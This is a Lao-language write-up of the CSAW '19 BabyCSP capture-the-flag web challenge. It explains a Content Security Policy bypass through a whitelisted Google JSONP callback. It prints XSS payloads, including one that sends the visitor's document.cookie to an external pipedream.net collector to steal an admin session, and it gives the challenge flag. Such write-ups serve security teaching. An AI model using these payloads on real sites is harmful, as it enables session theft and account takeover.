CSAW ’19 | BabyCSP ກ້າວຂ້າມ CSP ດ້ວຍ JSONP [Web][Write-up]
ສະຫລຸບ: ໂຈດ CTF ຂໍ້ນີ້ແມ່ນໝວດ Web ໂຈດແມ່ນໃຫ້ເຮົາເຮັດ XSS ແຕ່ໃຊ້ in-line javascript ທຳມະດາມັນຈະບໍ່ເຮັດວຽກເພາະຕິດ CSP ຢູ່. ສະນັ້ນເຮົາຕ້ອງໄດ້ທຳການເອີ້ນ javascript ຈາກບ່ອນທີ່ມັນອະນຸດຍາດຄື *.google.com ແລ້ວເອີ້ນໃຊ້ jsonp callback ເພື່ອທຳການ execute javascript.
ເລີ່ມຕົ້ນເຂົ້າມາໜ້າເວັບເລາະໆເບິ່ງໂຈດກ່ອນ ໜ້າທຳອິດນີ້ຈະມີລາຍລະອຽດຂອງ CSP ແລະກ່ອງ input ໃຫ້ໃສ່ຂໍ້ມູນແລ້ວ post ໄປປົກກະຕິ
ສາລະໜ້າຮູ້: CSP ຫຼື content security policy ແມ່ນ header ທີ່ກຳນົດຢູ່ຝັ່ງ server ໃຫ້ browser ຮູ້ວ່າຈະອະນຸຍາດໃຫ້ໃຊ້ javascript , css, assets ໄດ້ຈາກຢູ່ໃສແນ່ສ່ວນຫລາຍຈະເປັນ trust source ເຊັ່ນ self ເວັບປັດຈຸບັນ ແລະ ເວັບໃຫຍ່ໆເຊັ່ນ google, facebook, twitter
ຂັ້ນຕອນການໂຈມຕີ:
ໃນໜ້າໂພສກໍ່ຈະເປັນ content ທີ່ສາມາດເປັນ HTML code ໄດ້ ແລະ ເຮົາສາມາດໃສ່ HTML tag ໄດ້ຢ່າງອິດສະຫຼະ ເຮັດໃຫ້ເຮົາຮູ້ໄດ້ວ່າສາມາດເຮັດ XSS ໄດ້ແນ່ນອນໃນຮູບທາງລຸ່ມຜູ້ຂຽນໄດ້ສ້າງ post ໂດຍຂຽນວ່າ
</div><sCriPt>alert(1);</sCrIPt>
ຜົນລັບທີ່ໄດ້ແມ່ນ ສາມາດເປີດປິດ tag ອື່ນໄດ້ແບບນີ້ແປວ່າ XSS ໄດ້ແລະແຕ່ຕິດບ່ອນ CSP ເຮັດໃຫ້ inline-script ໃນໜ້ານີ້ຈະບໍ່ເຮັດວຽກ
ຈະເຫັນໄດ້ວ່າມີປຸ່ມໃຫ້ເຮົາ report ໄປໜ້າແອັດມິນນຳ ແນ່ນອນແລ້ວວ່າເປົ້າໝາຍຂອງເຮົາແມ່ນເຮັດໃຫ້ໜ້າ post run Javascript ໄດ້ ແລະ ລັກເອົາ cookie ຂອງ admin ( ຮູ້ໄດ້ຈາກຄຳຖາມໂຈດ )
ເມື່ອຮູ້ແລ້ວວ່າ trust source ທີ່ເຮົາສາມາດໃຊ້ໄດ້ແມ່ນ self ກັບ *.google.com ເຮົາກໍ່ໄປຄົ້ນຫາວິທີ bypass CSP ດ້ວຍ google ກໍ່ເຫັນວິທີໜຶ່ງໂດຍໃຊ້ JSONP
JSONP ແມ່ນຫຍັງ?
JSON with Padding ແມ່ນເຕັກນິກສຳລັບ request & retrieve ຂໍ້ມູນຈາກ server ໂດຍບໍ່ຕ້ອງກັງວົນກັບເລື່ອງ cross-domain, ແລະຍັງສາມາດ bypass Same-Origin Policy (SOP). ໄດ້ອີກດ້ວຍ
ເມື່ອຮູ້ແລ້ວວ່າ JSONP ສາມາດຊ່ວຍເຮົາໃຫ້ bypass CSP ໄດ້ເຮົາກໍ່ໄປຊອກ js file ທີ່ມີ jsonp ຈາກ google ມາລອງເລີຍໃນນີ້ຜູ້ຂຽນຈະໃຊ້ link ນີ້
https://accounts.google.com/o/oauth2/revoke?callback=
ເຮົາສາມາດໃສ່ Javascript function ໃສ່ parameter “callback” ໄດ້ເລີຍແລ້ວເມື່ອ import js ໂຕນີ້ເຂົ້າໄປ browser ຈະ run javascript function ນັ້ນໄດ້!
ຜູ້ຂຽນຈະສ້າງ post ໃໝ່ໂດຍສົ່ງ Code ລຸ່ມນີ້ເຂົ້າໄປ
</div><script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>
YES!!! Javascript ມັນເຮັດວຽກແລ້ວ!! ເຮັດຫຍັງຕໍ່ບາດນີ້? ມີໃຜຮູ້ບໍ່? ລອງຄິດກ່ອນວ່າເຮົາຈະລັກເອົາ cookie ຂອງ admin ໄດ້ແນວໃດ?
ຄຳຕອບຄື ເຮົາກໍ່ມີແຕ່ພຽງແຕ່ໃສ່ Javascript code ໃຫ້ຄົນທີ່ເຂົ້າເບິ່ງ post ນີ້ redirect ໄປ server ເຮົາແລ້ວຕິດ cookie ມານຳກັບ url (ຕຢ: http://frankkung.com/?c=[cookie]) ຝັ່ງ server ເຮົາກໍ່ດັກໄວ້ໝົດທຸກໆ request ທີ່ສົ່ງເຂົ້າມາເຮົາກໍ່ຈະໄດ້ cookie ນັ້ນມາແລ້ວ!
ຂັ້ນຕອນການເຮັດກໍ່ຄືເກົ່າເຮົາໄປສ້າງ post ໃໝ່ດ້ວຍ html code ລຸ່ມນີ້
</div><script src="https://accounts.google.com/o/oauth2/revoke?callback=window.location.replace('https://enpr5bfqirek.x.pipedream.net/'.concat(document.cookie))"></script>
ເມື່ອສ້າງ post ໃໝ່ດ້ວຍ code ລຸ່ມນີ້ແລ້ວເວລາມີຄົນເຂົ້າໂພສນີ້ຈະຖືກ redirect ໄປຕາມລິ້ງທີ່ກຳນົດໄວ້ ຕິດໄປກັບ cookie ຂອງຜູ້ເຂົ້າເບິ່ງ post ນີ້! ຫລັງຈາກເຮົາໄດ້ post ທີ່ເຮັດວຽກແລ້ວເຮົາກໍ່ກົດ report post ນີ້ໃຫ້ admin ແລ້ວເມື່ອ admin ເຂົ້າມາເບິ່ງ post ນີ້ຜົນລັບທີ່ເຮົາຈະໄດ້ແມ່ນ…
ເຮົາກໍ່ຈະໄດ້ flag ມາແບບຫລໍ່ໆ
flag{csp_will_solve_EVERYTHING}
Ref:
https://medium.com/@mazin.ahmed/bypassing-csp-by-abusing-jsonp-endpoints-47cf453624d5